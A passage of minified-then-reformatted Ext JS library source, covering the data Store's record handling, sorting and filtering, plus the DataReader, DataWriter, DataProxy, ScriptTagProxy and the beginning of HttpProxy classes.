(this.snapshot) {\n        this.snapshot.addAll(c)\n    }\n    this.fireEvent(\"add\", this, c, d)\n}, addSorted:function (a) {\n    var b = this.findInsertIndex(a);\n    this.insert(b, a)\n}, doUpdate:function (a) {\n    var b = a.id;\n    this.getById(b).join(null);\n    this.data.replace(b, a);\n    if (this.snapshot) {\n        this.snapshot.replace(b, a)\n    }\n    a.join(this);\n    this.fireEvent(\"update\", this, a, Ext.data.Record.COMMIT)\n}, remove:function (a) {\n    if (Ext.isArray(a)) {\n        Ext.each(a, function (c) {\n            this.remove(c)\n        }, this);\n        return\n    }\n    var b = this.data.indexOf(a);\n    if (b > -1) {\n        a.join(null);\n        this.data.removeAt(b)\n    }\n    if (this.pruneModifiedRecords) {\n        this.modified.remove(a)\n    }\n    if (this.snapshot) {\n        this.snapshot.remove(a)\n    }\n    if (b > -1) {\n        this.fireEvent(\"remove\", this, a, b)\n    }\n}, removeAt:function (a) {\n    this.remove(this.getAt(a))\n}, removeAll:function (b) {\n    var a = [];\n    this.each(function (c) {\n        a.push(c)\n    });\n    this.clearData();\n    if (this.snapshot) {\n        this.snapshot.clear()\n    }\n    if (this.pruneModifiedRecords) {\n        this.modified = []\n    }\n    if (b !== true) {\n        this.fireEvent(\"clear\", this, a)\n    }\n}, onClear:function (b, a) {\n    Ext.each(a, function (d, c) {\n        this.destroyRecord(this, d, c)\n    }, this)\n}, insert:function (d, c) {\n    var e, a, b;\n    c = [].concat(c);\n    for (e = 0, a = c.length; e < a; e++) {\n        b = c[e];\n        this.data.insert(d + e, b);\n        b.join(this);\n        if (b.dirty || b.phantom) {\n            this.modified.push(b)\n        }\n    }\n    if (this.snapshot) {\n        this.snapshot.addAll(c)\n    }\n    this.fireEvent(\"add\", this, c, d)\n}, indexOf:function (a) {\n    return this.data.indexOf(a)\n}, indexOfId:function (a) {\n    return this.data.indexOfKey(a)\n}, getById:function (a) {\n    return(this.snapshot || this.data).key(a)\n}, getAt:function (a) {\n    return this.data.itemAt(a)\n}, getRange:function (b, a) {\n    return this.data.getRange(b, a)\n}, storeOptions:function (a) {\n    a = Ext.apply({}, a);\n    delete a.callback;\n    delete a.scope;\n    this.lastOptions = a\n}, clearData:function () {\n    this.data.each(function (a) {\n        a.join(null)\n    });\n    this.data.clear()\n}, load:function (b) {\n    b = Ext.apply({}, b);\n    this.storeOptions(b);\n    if (this.sortInfo && this.remoteSort) {\n        var a = this.paramNames;\n        b.params = Ext.apply({}, b.params);\n        b.params[a.sort] = this.sortInfo.field;\n        b.params[a.dir] = this.sortInfo.direction\n    }\n    try {\n        return this.execute(\"read\", null, b)\n    } catch (c) {\n        this.handleException(c);\n        return false\n    }\n}, updateRecord:function (b, a, c) {\n    if (c == Ext.data.Record.EDIT && this.autoSave === true && (!a.phantom || (a.phantom && a.isValid()))) {\n        this.save()\n    }\n}, createRecords:function (c, b, e) {\n    var d = this.modified, h = b.length, a, g;\n    for (g = 0; g < h; g++) {\n        a = b[g];\n        if (a.phantom && a.isValid()) {\n            a.markDirty();\n            if (d.indexOf(a) == -1) {\n                d.push(a)\n            }\n        }\n    }\n    if (this.autoSave === true) {\n        this.save()\n    }\n}, destroyRecord:function (b, a, c) {\n    if (this.modified.indexOf(a) != -1) {\n        this.modified.remove(a)\n    }\n    if (!a.phantom) {\n        this.removed.push(a);\n        a.lastIndex = c;\n        if (this.autoSave === true) {\n            this.save()\n        }\n    }\n}, execute:function (e, a, c, b) {\n    if (!Ext.data.Api.isAction(e)) {\n        throw new Ext.data.Api.Error(\"execute\", e)\n    }\n    c = Ext.applyIf(c || {}, {params:{}});\n    if (b !== undefined) {\n        this.addToBatch(b)\n    }\n    var d = true;\n    if (e === \"read\") {\n        d = this.fireEvent(\"beforeload\", this, c);\n        Ext.applyIf(c.params, this.baseParams)\n    } else {\n        if (this.writer.listful === true && this.restful !== true) {\n            a = (Ext.isArray(a)) ? a : [a]\n        } else {\n            if (Ext.isArray(a) && a.length == 1) {\n                a = a.shift()\n            }\n        }\n        if ((d = this.fireEvent(\"beforewrite\", this, e, a, c)) !== false) {\n            this.writer.apply(c.params, this.baseParams, e, a)\n        }\n    }\n    if (d !== false) {\n        if (this.writer && this.proxy.url && !this.proxy.restful && !Ext.data.Api.hasUniqueUrl(this.proxy, e)) {\n            c.params.xaction = e\n        }\n        this.proxy.request(Ext.data.Api.actions[e], a, c.params, this.reader, this.createCallback(e, a, b), this, c)\n    }\n    return d\n}, save:function () {\n    if (!this.writer) {\n        throw new Ext.data.Store.Error(\"writer-undefined\")\n    }\n    var h = [], j, k, e, c = {}, d;\n    if (this.removed.length) {\n        h.push([\"destroy\", this.removed])\n    }\n    var b = [].concat(this.getModifiedRecords());\n    if (b.length) {\n        var g = [];\n        for (d = b.length - 1; d >= 0; d--) {\n            if (b[d].phantom === true) {\n                var a = b.splice(d, 1).shift();\n                if (a.isValid()) {\n                    g.push(a)\n                }\n            } else {\n                if (!b[d].isValid()) {\n                    b.splice(d, 1)\n                }\n            }\n        }\n        if (g.length) {\n            h.push([\"create\", g])\n        }\n        if (b.length) {\n            h.push([\"update\", b])\n        }\n    }\n    j = h.length;\n    if (j) {\n        e = ++this.batchCounter;\n        for (d = 0; d < j; ++d) {\n            k = h[d];\n            c[k[0]] = k[1]\n        }\n        if (this.fireEvent(\"beforesave\", this, c) !== false) {\n            for (d = 0; d < j; ++d) {\n                k = h[d];\n                this.doTransaction(k[0], k[1], e)\n            }\n            return e\n        }\n    }\n    return -1\n}, doTransaction:function (e, b, c) {\n    function g(h) {\n        try {\n            this.execute(e, h, undefined, c)\n        } catch (i) {\n            this.handleException(i)\n        }\n    }\n\n    if (this.batch === false) {\n        for (var d = 0, a = b.length; d < a; d++) {\n            g.call(this, b[d])\n        }\n    } else {\n        g.call(this, b)\n    }\n}, addToBatch:function (c) {\n    var a = this.batches, d = this.batchKey + c, e = a[d];\n    if (!e) {\n        a[d] = e = {id:c, count:0, data:{}}\n    }\n    ++e.count\n}, removeFromBatch:function (d, h, g) {\n    var c = this.batches, e = this.batchKey + d, i = c[e], a;\n    if (i) {\n        a = i.data[h] || [];\n        i.data[h] = a.concat(g);\n        if (i.count === 1) {\n            g = i.data;\n            delete c[e];\n            this.fireEvent(\"save\", this, d, g)\n        } else {\n            --i.count\n        }\n    }\n}, createCallback:function (c, a, b) {\n    var d = Ext.data.Api.actions;\n    return(c == \"read\") ? this.loadRecords : function (g, e, h) {\n        this[\"on\" + Ext.util.Format.capitalize(c) + \"Records\"](h, a, [].concat(g));\n        if (h === true) {\n            this.fireEvent(\"write\", this, c, g, e, a)\n        }\n        this.removeFromBatch(b, c, g)\n    }\n}, clearModified:function (a) {\n    if (Ext.isArray(a)) {\n        for (var b = a.length - 1; b >= 0; b--) {\n            this.modified.splice(this.modified.indexOf(a[b]), 1)\n        }\n    } else {\n        this.modified.splice(this.modified.indexOf(a), 1)\n    }\n}, reMap:function (b) {\n    if (Ext.isArray(b)) {\n        for (var d = 0, a = b.length; d < a; d++) {\n            this.reMap(b[d])\n        }\n    } else {\n        delete this.data.map[b._phid];\n        this.data.map[b.id] = b;\n        var c = this.data.keys.indexOf(b._phid);\n        this.data.keys.splice(c, 1, b.id);\n        delete b._phid\n    }\n}, onCreateRecords:function (d, a, b) {\n    if (d === true) {\n        try {\n            this.reader.realize(a, b)\n        } catch (c) {\n            this.handleException(c);\n            if (Ext.isArray(a)) {\n                this.onCreateRecords(d, a, b)\n            }\n        }\n    }\n}, onUpdateRecords:function (d, a, b) {\n    if (d === true) {\n        try {\n            this.reader.update(a, b)\n        } catch (c) {\n            this.handleException(c);\n            if (Ext.isArray(a)) {\n                this.onUpdateRecords(d, a, b)\n            }\n        }\n    }\n}, onDestroyRecords:function (e, b, d) {\n    b = (b instanceof Ext.data.Record) ? [b] : [].concat(b);\n    for (var c = 0, a = b.length; c < a; c++) {\n        this.removed.splice(this.removed.indexOf(b[c]), 1)\n    }\n    if (e === false) {\n        for (c = b.length - 1; c >= 0; c--) {\n            this.insert(b[c].lastIndex, b[c])\n        }\n    }\n}, handleException:function (a) {\n    Ext.handleError(a)\n}, reload:function (a) {\n    this.load(Ext.applyIf(a || {}, this.lastOptions))\n}, loadRecords:function (b, l, h) {\n    var e, g;\n    if (this.isDestroyed === true) {\n        return\n    }\n    if (!b || h === false) {\n        if (h !== false) {\n            this.fireEvent(\"load\", this, [], l)\n        }\n        if (l.callback) {\n            l.callback.call(l.scope || this, [], l, false, b)\n        }\n        return\n    }\n    var a = b.records, j = b.totalRecords || a.length;\n    if (!l || l.add !== true) {\n        if (this.pruneModifiedRecords) {\n            this.modified = []\n        }\n        for (e = 0, g = a.length; e < g; e++) {\n            a[e].join(this)\n        }\n        if (this.snapshot) {\n            this.data = this.snapshot;\n            delete this.snapshot\n        }\n        this.clearData();\n        this.data.addAll(a);\n        this.totalLength = j;\n        this.applySort();\n        this.fireEvent(\"datachanged\", this)\n    } else {\n        var k = [], d, c = 0;\n        for (e = 0, g = a.length; e < g; ++e) {\n            d = a[e];\n            if (this.indexOfId(d.id) > -1) {\n                this.doUpdate(d)\n            } else {\n                k.push(d);\n                ++c\n            }\n        }\n        this.totalLength = Math.max(j, this.data.length + c);\n        this.add(k)\n    }\n    this.fireEvent(\"load\", this, a, l);\n    if (l.callback) {\n        l.callback.call(l.scope || this, a, l, true)\n    }\n}, loadData:function (c, a) {\n    var b = this.reader.readRecords(c);\n    this.loadRecords(b, {add:a}, true)\n}, getCount:function () {\n    return this.data.length || 0\n}, getTotalCount:function () {\n    return this.totalLength || 0\n}, getSortState:function () {\n    return this.sortInfo\n}, applySort:function () {\n    if ((this.sortInfo || this.multiSortInfo) && !this.remoteSort) {\n        this.sortData()\n    }\n}, sortData:function () {\n    var a = this.hasMultiSort ? this.multiSortInfo : this.sortInfo, k = a.direction || \"ASC\", h = a.sorters, c = [];\n    if (!this.hasMultiSort) {\n        h = [\n            {direction:k, field:a.field}\n        ]\n    }\n    for (var d = 0, b = h.length; d < b; d++) {\n        c.push(this.createSortFunction(h[d].field, h[d].direction))\n    }\n    if (c.length == 0) {\n        return\n    }\n    var g = k.toUpperCase() == \"DESC\" ? -1 : 1;\n    var e = function (n, m) {\n        var l = c[0].call(this, n, m);\n        if (c.length > 1) {\n            for (var p = 1, o = c.length; p < o; p++) {\n                l = l || c[p].call(this, n, m)\n            }\n        }\n        return g * l\n    };\n    this.data.sort(k, e);\n    if (this.snapshot && this.snapshot != this.data) {\n        this.snapshot.sort(k, e)\n    }\n}, createSortFunction:function (c, b) {\n    b = b || \"ASC\";\n    var a = b.toUpperCase() == \"DESC\" ? -1 : 1;\n    var d = this.fields.get(c).sortType;\n    return function (g, e) {\n        var i = d(g.data[c]), h = d(e.data[c]);\n        return a * (i > h ? 1 : (i < h ? -1 : 0))\n    }\n}, setDefaultSort:function (b, a) {\n    a = a ? a.toUpperCase() : \"ASC\";\n    this.sortInfo = {field:b, direction:a};\n    this.sortToggle[b] = a\n}, sort:function (b, a) {\n    if (Ext.isArray(arguments[0])) {\n        return this.multiSort.call(this, b, a)\n    } else {\n        return this.singleSort(b, a)\n    }\n}, singleSort:function (g, c) {\n    var e = this.fields.get(g);\n    if (!e) {\n        return false\n    }\n    var b = e.name, a = this.sortInfo || null, d = this.sortToggle ? this.sortToggle[b] : null;\n    if (!c) {\n        if (a && a.field == b) {\n            c = (this.sortToggle[b] || \"ASC\").toggle(\"ASC\", \"DESC\")\n        } else {\n            c = e.sortDir\n        }\n    }\n    this.sortToggle[b] = c;\n    this.sortInfo = {field:b, direction:c};\n    this.hasMultiSort = false;\n    if (this.remoteSort) {\n        if (!this.load(this.lastOptions)) {\n            if (d) {\n                this.sortToggle[b] = d\n            }\n            if (a) {\n                this.sortInfo = a\n            }\n        }\n    } else {\n        this.applySort();\n        this.fireEvent(\"datachanged\", this)\n    }\n    return true\n}, multiSort:function (b, a) {\n    this.hasMultiSort = true;\n    a = a || \"ASC\";\n    if (this.multiSortInfo && a == this.multiSortInfo.direction) {\n        a = a.toggle(\"ASC\", \"DESC\")\n    }\n    this.multiSortInfo = {sorters:b, direction:a};\n    if (this.remoteSort) {\n        this.singleSort(b[0].field, b[0].direction)\n    } else {\n        this.applySort();\n        this.fireEvent(\"datachanged\", this)\n    }\n}, each:function (b, a) {\n    this.data.each(b, a)\n}, getModifiedRecords:function () {\n    return this.modified\n}, sum:function (e, g, a) {\n    var c = this.data.items, b = 0;\n    g = g || 0;\n    a = (a || a === 0) ? a : c.length - 1;\n    for (var d = g; d <= a; d++) {\n        b += (c[d].data[e] || 0)\n    }\n    return b\n}, createFilterFn:function (d, c, e, a, b) {\n    if (Ext.isEmpty(c, false)) {\n        return false\n    }\n    c = this.data.createValueMatcher(c, e, a, b);\n    return function (g) {\n        return c.test(g.data[d])\n    }\n}, createMultipleFilterFn:function (a) {\n    return function (b) {\n        var k = true;\n        for (var d = 0, c = a.length; d < c; d++) {\n            var h = a[d], g = h.fn, e = h.scope;\n            k = k && g.call(e, b)\n        }\n        return k\n    }\n}, filter:function (n, m, h, k, e) {\n    var l;\n    if (Ext.isObject(n)) {\n        n = [n]\n    }\n    if (Ext.isArray(n)) {\n        var b = [];\n        for (var g = 0, d = n.length; g < d; g++) {\n            var a = n[g], c = a.fn, o = a.scope || this;\n            if (!Ext.isFunction(c)) {\n                c = this.createFilterFn(a.property, a.value, a.anyMatch, a.caseSensitive, a.exactMatch)\n            }\n            b.push({fn:c, scope:o})\n        }\n        l = this.createMultipleFilterFn(b)\n    } else {\n        l = this.createFilterFn(n, m, h, k, e)\n    }\n    return l ? this.filterBy(l) : this.clearFilter()\n}, filterBy:function (b, a) {\n    this.snapshot = this.snapshot || this.data;\n    this.data = this.queryBy(b, a || this);\n    this.fireEvent(\"datachanged\", this)\n}, clearFilter:function (a) {\n    if (this.isFiltered()) {\n        this.data = this.snapshot;\n        delete this.snapshot;\n        if (a !== true) {\n            this.fireEvent(\"datachanged\", this)\n        }\n    }\n}, isFiltered:function () {\n    return !!this.snapshot && this.snapshot != this.data\n}, query:function (d, c, e, a) {\n    var b = this.createFilterFn(d, c, e, a);\n    return b ? this.queryBy(b) : this.data.clone()\n}, queryBy:function (b, a) {\n    var c = this.snapshot || this.data;\n    return c.filterBy(b, a || this)\n}, find:function (d, c, g, e, a) {\n    var b = this.createFilterFn(d, c, e, a);\n    return b ? this.data.findIndexBy(b, null, g) : -1\n}, findExact:function (b, a, c) {\n    return this.data.findIndexBy(function (d) {\n        return d.get(b) === a\n    }, this, c)\n}, findBy:function (b, a, c) {\n    return this.data.findIndexBy(b, a, c)\n}, collect:function (j, k, b) {\n    var h = (b === true && this.snapshot) ? this.snapshot.items : this.data.items;\n    var m, n, a = [], c = {};\n    for (var e = 0, g = h.length; e < g; e++) {\n        m = h[e].data[j];\n        n = String(m);\n        if ((k || !Ext.isEmpty(m)) && !c[n]) {\n            c[n] = true;\n            a[a.length] = m\n        }\n    }\n    return a\n}, afterEdit:function (a) {\n    if (this.modified.indexOf(a) == -1) {\n        this.modified.push(a)\n    }\n    this.fireEvent(\"update\", this, a, Ext.data.Record.EDIT)\n}, afterReject:function (a) {\n    this.modified.remove(a);\n    this.fireEvent(\"update\", this, a, Ext.data.Record.REJECT)\n}, afterCommit:function (a) {\n    this.modified.remove(a);\n    this.fireEvent(\"update\", this, a, Ext.data.Record.COMMIT)\n}, commitChanges:function () {\n    var a = this.modified.slice(0), c = a.length, b;\n    for (b = 0; b < c; b++) {\n        a[b].commit()\n    }\n    this.modified = [];\n    this.removed = []\n}, rejectChanges:function () {\n    var a = this.modified.slice(0), e = this.removed.slice(0).reverse(), c = a.length, d = e.length, b;\n    for (b = 0; b < c; b++) {\n        a[b].reject()\n    }\n    for (b = 0; b < d; b++) {\n        this.insert(e[b].lastIndex || 0, e[b]);\n        e[b].reject()\n    }\n    this.modified = [];\n    this.removed = []\n}, onMetaChange:function (a) {\n    this.recordType = this.reader.recordType;\n    this.fields = this.recordType.prototype.fields;\n    delete this.snapshot;\n    if (this.reader.meta.sortInfo) {\n        this.sortInfo = this.reader.meta.sortInfo\n    } else {\n        if (this.sortInfo && !this.fields.get(this.sortInfo.field)) {\n            delete this.sortInfo\n        }\n    }\n    if (this.writer) {\n        this.writer.meta = this.reader.meta\n    }\n    this.modified = [];\n    this.fireEvent(\"metachange\", this, this.reader.meta)\n}, findInsertIndex:function (a) {\n    this.suspendEvents();\n    var c = this.data.clone();\n    this.data.add(a);\n    this.applySort();\n    var b = this.data.indexOf(a);\n    this.data = c;\n    this.resumeEvents();\n    return b\n}, setBaseParam:function (a, b) {\n    this.baseParams = this.baseParams || {};\n    this.baseParams[a] = b\n}});\nExt.reg(\"store\", Ext.data.Store);\nExt.data.Store.Error = Ext.extend(Ext.Error, {name:\"Ext.data.Store\"});\nExt.apply(Ext.data.Store.Error.prototype, {lang:{\"writer-undefined\":\"Attempted to execute a write-action without a DataWriter installed.\"}});\nExt.data.Field = Ext.extend(Object, {constructor:function (b) {\n    if (Ext.isString(b)) {\n        b = {name:b}\n    }\n    Ext.apply(this, b);\n    var d = Ext.data.Types, a = this.sortType, c;\n    if (this.type) {\n        if (Ext.isString(this.type)) {\n            this.type = Ext.data.Types[this.type.toUpperCase()] || d.AUTO\n        }\n    } else {\n        this.type = d.AUTO\n    }\n    if (Ext.isString(a)) {\n        this.sortType = Ext.data.SortTypes[a]\n    } else {\n        if (Ext.isEmpty(a)) {\n            this.sortType = this.type.sortType\n        }\n    }\n    if (!this.convert) {\n        this.convert = this.type.convert\n    }\n}, dateFormat:null, useNull:false, defaultValue:\"\", mapping:null, sortType:null, sortDir:\"ASC\", allowBlank:true});\nExt.data.DataReader = function (a, b) {\n    this.meta = a;\n    this.recordType = Ext.isArray(b) ? Ext.data.Record.create(b) : b;\n    if (this.recordType) {\n        this.buildExtractors()\n    }\n};\nExt.data.DataReader.prototype = {getTotal:Ext.emptyFn, getRoot:Ext.emptyFn, getMessage:Ext.emptyFn, getSuccess:Ext.emptyFn, getId:Ext.emptyFn, buildExtractors:Ext.emptyFn, extractValues:Ext.emptyFn, realize:function (a, c) {\n    if (Ext.isArray(a)) {\n        for (var b = a.length - 1; b >= 0; b--) {\n            if (Ext.isArray(c)) {\n                this.realize(a.splice(b, 1).shift(), c.splice(b, 1).shift())\n            } else {\n                this.realize(a.splice(b, 1).shift(), c)\n            }\n        }\n    } else {\n        if (Ext.isArray(c) && c.length == 1) {\n            c = c.shift()\n        }\n        if (!this.isData(c)) {\n            throw new Ext.data.DataReader.Error(\"realize\", a)\n        }\n        a.phantom = false;\n        a._phid = a.id;\n        a.id = this.getId(c);\n        a.data = c;\n        a.commit();\n        a.store.reMap(a)\n    }\n}, update:function (a, c) {\n    if (Ext.isArray(a)) {\n        for (var b = a.length - 1; b >= 0; b--) {\n            if (Ext.isArray(c)) {\n                this.update(a.splice(b, 1).shift(), c.splice(b, 1).shift())\n            } else {\n                this.update(a.splice(b, 1).shift(), c)\n            }\n        }\n    } else {\n        if (Ext.isArray(c) && c.length == 1) {\n            c = c.shift()\n        }\n        if (this.isData(c)) {\n            a.data = Ext.apply(a.data, c)\n        }\n        a.commit()\n    }\n}, extractData:function (k, a) {\n    var j = (this instanceof Ext.data.JsonReader) ? \"json\" : \"node\";\n    var c = [];\n    if (this.isData(k) && !(this instanceof Ext.data.XmlReader)) {\n        k = [k]\n    }\n    var h = this.recordType.prototype.fields, o = h.items, m = h.length, c = [];\n    if (a === true) {\n        var l = this.recordType;\n        for (var e = 0; e < k.length; e++) {\n            var b = k[e];\n            var g = new l(this.extractValues(b, o, m), this.getId(b));\n            g[j] = b;\n            c.push(g)\n        }\n    } else {\n        for (var e = 0; e < k.length; e++) {\n            var d = this.extractValues(k[e], o, m);\n            d[this.meta.idProperty] = this.getId(k[e]);\n            c.push(d)\n        }\n    }\n    return c\n}, isData:function (a) {\n    return(a && Ext.isObject(a) && !Ext.isEmpty(this.getId(a))) ? true : false\n}, onMetaChange:function (a) {\n    delete this.ef;\n    this.meta = a;\n    this.recordType = Ext.data.Record.create(a.fields);\n    this.buildExtractors()\n}};\nExt.data.DataReader.Error = Ext.extend(Ext.Error, {constructor:function (b, a) {\n    this.arg = a;\n    Ext.Error.call(this, b)\n}, name:\"Ext.data.DataReader\"});\nExt.apply(Ext.data.DataReader.Error.prototype, {lang:{update:\"#update received invalid data from server.  Please see docs for DataReader#update and review your DataReader configuration.\", realize:\"#realize was called with invalid remote-data.  Please see the docs for DataReader#realize and review your DataReader configuration.\", \"invalid-response\":\"#readResponse received an invalid response from the server.\"}});\nExt.data.DataWriter = function (a) {\n    Ext.apply(this, a)\n};\nExt.data.DataWriter.prototype = {writeAllFields:false, listful:false, apply:function (e, g, d, a) {\n    var c = [], b = d + \"Record\";\n    if (Ext.isArray(a)) {\n        Ext.each(a, function (h) {\n            c.push(this[b](h))\n        }, this)\n    } else {\n        if (a instanceof Ext.data.Record) {\n            c = this[b](a)\n        }\n    }\n    this.render(e, g, c)\n}, render:Ext.emptyFn, updateRecord:Ext.emptyFn, createRecord:Ext.emptyFn, destroyRecord:Ext.emptyFn, toHash:function (g, c) {\n    var e = g.fields.map, d = {}, b = (this.writeAllFields === false && g.phantom === false) ? g.getChanges() : g.data, a;\n    Ext.iterate(b, function (i, h) {\n        if ((a = e[i])) {\n            d[a.mapping ? a.mapping : a.name] = h\n        }\n    });\n    if (g.phantom) {\n        if (g.fields.containsKey(this.meta.idProperty) && Ext.isEmpty(g.data[this.meta.idProperty])) {\n            delete d[this.meta.idProperty]\n        }\n    } else {\n        d[this.meta.idProperty] = g.id\n    }\n    return d\n}, toArray:function (b) {\n    var a = [];\n    Ext.iterate(b, function (d, c) {\n        a.push({name:d, value:c})\n    }, this);\n    return a\n}};\nExt.data.DataProxy = function (a) {\n    a = a || {};\n    this.api = a.api;\n    this.url = a.url;\n    this.restful = a.restful;\n    this.listeners = a.listeners;\n    this.prettyUrls = a.prettyUrls;\n    this.addEvents(\"exception\", \"beforeload\", \"load\", \"loadexception\", \"beforewrite\", \"write\");\n    Ext.data.DataProxy.superclass.constructor.call(this);\n    try {\n        Ext.data.Api.prepare(this)\n    } catch (b) {\n        if (b instanceof Ext.data.Api.Error) {\n            b.toConsole()\n        }\n    }\n    Ext.data.DataProxy.relayEvents(this, [\"beforewrite\", \"write\", \"exception\"])\n};\nExt.extend(Ext.data.DataProxy, Ext.util.Observable, {restful:false, setApi:function () {\n    if (arguments.length == 1) {\n        var a = Ext.data.Api.isValid(arguments[0]);\n        if (a === true) {\n            this.api = arguments[0]\n        } else {\n            throw new Ext.data.Api.Error(\"invalid\", a)\n        }\n    } else {\n        if (arguments.length == 2) {\n            if (!Ext.data.Api.isAction(arguments[0])) {\n                throw new Ext.data.Api.Error(\"invalid\", arguments[0])\n            }\n            this.api[arguments[0]] = arguments[1]\n        }\n    }\n    Ext.data.Api.prepare(this)\n}, isApiAction:function (a) {\n    return(this.api[a]) ? true : false\n}, request:function (e, b, g, a, h, d, c) {\n    if (!this.api[e] && !this.load) {\n        throw new Ext.data.DataProxy.Error(\"action-undefined\", e)\n    }\n    g = g || {};\n    if ((e === Ext.data.Api.actions.read) ? this.fireEvent(\"beforeload\", this, g) : this.fireEvent(\"beforewrite\", this, e, b, g) !== false) {\n        this.doRequest.apply(this, arguments)\n    } else {\n        h.call(d || this, null, c, false)\n    }\n}, load:null, doRequest:function (e, b, g, a, h, d, c) {\n    this.load(g, a, h, d, c)\n}, onRead:Ext.emptyFn, onWrite:Ext.emptyFn, buildUrl:function (d, b) {\n    b = b || null;\n    var c = (this.conn && this.conn.url) ? this.conn.url : (this.api[d]) ? this.api[d].url : this.url;\n    if (!c) {\n        throw new Ext.data.Api.Error(\"invalid-url\", d)\n    }\n    var e = null;\n    var a = c.match(/(.*)(\\.json|\\.xml|\\.html)$/);\n    if (a) {\n        e = a[2];\n        c = a[1]\n    }\n    if ((this.restful === true || this.prettyUrls === true) && b instanceof Ext.data.Record && !b.phantom) {\n        c += \"/\" + b.id\n    }\n    return(e === null) ? c : c + e\n}, destroy:function () {\n    this.purgeListeners()\n}});\nExt.apply(Ext.data.DataProxy, Ext.util.Observable.prototype);\nExt.util.Observable.call(Ext.data.DataProxy);\nExt.data.DataProxy.Error = Ext.extend(Ext.Error, {constructor:function (b, a) {\n    this.arg = a;\n    Ext.Error.call(this, b)\n}, name:\"Ext.data.DataProxy\"});\nExt.apply(Ext.data.DataProxy.Error.prototype, {lang:{\"action-undefined\":\"DataProxy attempted to execute an API-action but found an undefined url / function.  Please review your Proxy url/api-configuration.\", \"api-invalid\":\"Received an invalid API-configuration.  Please ensure your proxy API-configuration contains only the actions from Ext.data.Api.actions.\"}});\nExt.data.Request = function (a) {\n    Ext.apply(this, a)\n};\nExt.data.Request.prototype = {action:undefined, rs:undefined, params:undefined, callback:Ext.emptyFn, scope:undefined, reader:undefined};\nExt.data.Response = function (a) {\n    Ext.apply(this, a)\n};\nExt.data.Response.prototype = {action:undefined, success:undefined, message:undefined, data:undefined, raw:undefined, records:undefined};\nExt.data.ScriptTagProxy = function (a) {\n    Ext.apply(this, a);\n    Ext.data.ScriptTagProxy.superclass.constructor.call(this, a);\n    this.head = document.getElementsByTagName(\"head\")[0]\n};\nExt.data.ScriptTagProxy.TRANS_ID = 1000;\nExt.extend(Ext.data.ScriptTagProxy, Ext.data.DataProxy, {timeout:30000, callbackParam:\"callback\", nocache:true, doRequest:function (e, g, d, h, j, k, l) {\n    var c = Ext.urlEncode(Ext.apply(d, this.extraParams));\n    var b = this.buildUrl(e, g);\n    if (!b) {\n        throw new Ext.data.Api.Error(\"invalid-url\", b)\n    }\n    b = Ext.urlAppend(b, c);\n    if (this.nocache) {\n        b = Ext.urlAppend(b, \"_dc=\" + (new Date().getTime()))\n    }\n    var a = ++Ext.data.ScriptTagProxy.TRANS_ID;\n    var m = {id:a, action:e, cb:\"stcCallback\" + a, scriptId:\"stcScript\" + a, params:d, arg:l, url:b, callback:j, scope:k, reader:h};\n    window[m.cb] = this.createCallback(e, g, m);\n    b += String.format(\"&{0}={1}\", this.callbackParam, m.cb);\n    if (this.autoAbort !== false) {\n        this.abort()\n    }\n    m.timeoutId = this.handleFailure.defer(this.timeout, this, [m]);\n    var i = document.createElement(\"script\");\n    i.setAttribute(\"src\", b);\n    i.setAttribute(\"type\", \"text/javascript\");\n    i.setAttribute(\"id\", m.scriptId);\n    this.head.appendChild(i);\n    this.trans = m\n}, createCallback:function (d, b, c) {\n    var a = this;\n    return function (e) {\n        a.trans = false;\n        a.destroyTrans(c, true);\n        if (d === Ext.data.Api.actions.read) {\n            a.onRead.call(a, d, c, e)\n        } else {\n            a.onWrite.call(a, d, c, e, b)\n        }\n    }\n}, onRead:function (d, c, b) {\n    var a;\n    try {\n        a = c.reader.readRecords(b)\n    } catch (g) {\n        this.fireEvent(\"loadexception\", this, c, b, g);\n        this.fireEvent(\"exception\", this, \"response\", d, c, b, g);\n        c.callback.call(c.scope || window, null, c.arg, false);\n        return\n    }\n    if (a.success === false) {\n        this.fireEvent(\"loadexception\", this, c, b);\n        this.fireEvent(\"exception\", this, \"remote\", d, c, b, null)\n    } else {\n        this.fireEvent(\"load\", this, b, c.arg)\n    }\n    c.callback.call(c.scope || window, a, c.arg, a.success)\n}, onWrite:function (h, g, c, b) {\n    var a = g.reader;\n    try {\n        var d = a.readResponse(h, c)\n    } catch (i) {\n        this.fireEvent(\"exception\", this, \"response\", h, g, d, i);\n        g.callback.call(g.scope || window, null, d, false);\n        return\n    }\n    if (!d.success === true) {\n        this.fireEvent(\"exception\", this, \"remote\", h, g, d, b);\n        g.callback.call(g.scope || window, null, d, false);\n        return\n    }\n    this.fireEvent(\"write\", this, h, d.data, d, b, g.arg);\n    g.callback.call(g.scope || window, d.data, d, true)\n}, isLoading:function () {\n    return this.trans ? true : false\n}, abort:function () {\n    if (this.isLoading()) {\n        this.destroyTrans(this.trans)\n    }\n}, destroyTrans:function (b, a) {\n    this.head.removeChild(document.getElementById(b.scriptId));\n    clearTimeout(b.timeoutId);\n    if (a) {\n        window[b.cb] = undefined;\n        try {\n            delete window[b.cb]\n        } catch (c) {\n        }\n    } else {\n        window[b.cb] = function () {\n            window[b.cb] = undefined;\n            try {\n                delete window[b.cb]\n            } catch (d) {\n            }\n        }\n    }\n}, handleFailure:function (a) {\n    this.trans = false;\n    this.destroyTrans(a, false);\n    if (a.action === Ext.data.Api.actions.read) {\n        this.fireEvent(\"loadexception\", this, null, a.arg)\n    }\n    this.fireEvent(\"exception\", this, \"response\", a.action, {response:null, options:a.arg});\n    a.callback.call(a.scope || window, null, a.arg, false)\n}, destroy:function () {\n    this.abort();\n    Ext.data.ScriptTagProxy.superclass.destroy.call(this)\n}});\nExt.data.HttpProxy = function (a) {\n    Ext.data.HttpProxy.superclass.constructor.call(this, a);\n    this.conn = a;\n    this.conn.url = null;\n    this.useAjax = !a || !a.events;\n    var c = Ext.data.Api.actions;\n    this.activeRequest = {};\n    for (var b in c) {\n        this.activeRequest[c[b]] = undefined\n    }\n};\nExt.extend(Ext.data.HttpProxy, Ext.data.DataProxy, {getConnection:function () {\n    return this.useAjax ? Ext.Ajax : this.conn\n}, setUrl:function (a, b) {\n    this.conn.url = a;\n    if (b === true) {\n        this.url = a;\n        this.api = null;\n        Ext.data.Api.prepare(this)\n    }\n}, doRequest:function (g, d, i, c, b, e, a) {\n    var h = {method:(this.api[g]) ? this.api[g][\"method\"] : undefined, request:{callback:b, scope:e, arg:a}, reader:c, callback:this.createCallback(g, d), scope:this};\n    if (i.jsonData) {\n        h.jsonData = i.jsonData\n    } else {\n        if (i.xmlData) {\n            h.xmlData = i.xmlData\n        } else {\n            h.params = i || {}\n        }\n    }\n    this.conn.url = 